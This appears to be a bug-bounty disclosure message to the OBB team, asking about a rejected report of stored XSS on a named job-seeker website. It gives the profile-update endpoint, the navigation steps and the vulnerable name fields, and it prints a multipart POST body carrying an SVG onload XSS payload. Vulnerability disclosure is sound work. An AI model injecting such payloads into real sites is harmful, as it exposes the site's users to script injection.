Hi, OBB team my reject ID: 2074677 the
![👉](//twemoji.maxcdn.com/2/svg/1f449.svg)
Vulnearble XSS web:
www.kumarijob.com and
![👉](//twemoji.maxcdn.com/2/svg/1f449.svg)
POST /jobseeker/dashboard/update-profile HTTP/1.1 then
![👉](//twemoji.maxcdn.com/2/svg/1f449.svg)
path referer:
https://www.kumarijob.com/jobseeker/dashboard/personal ![💥](//twemoji.maxcdn.com/2/svg/1f4a5.svg)
step by next step reduce login to the account so path : /jobseeker/dashboard
![🧗](//twemoji.maxcdn.com/2/svg/1f9d7.svg)
goto to the ✍"Edit Profile" > Edit Basic Information the 🕵vulnearble parmaeter are: Fullname, Middel Name, Last Name is effect, Cross site scripting (XSS) the
![👆](//twemoji.maxcdn.com/2/svg/1f446.svg)
post data download below let check out!
![👀](//twemoji.maxcdn.com/2/svg/1f440.svg)
----------------------------------------------------------------------------------------------------------
-----------------------------16088500688962087102208045996
Content-Disposition: form-data; name="fname"
"><svg onload=prompt("xss")>
-----------------------------16088500688962087102208045996
Content-Disposition: form-data; name="mname"
MN vuln Payload
-----------------------------16088500688962087102208045996
Content-Disposition: form-data; name="lname"
LN Vuln Payload
i hope soon as posiable to my
![💚](//twemoji.maxcdn.com/2/svg/1f49a.svg)
"On Hold Vulnerabilities" thank you OBB
![👍](//twemoji.maxcdn.com/2/svg/1f44d.svg)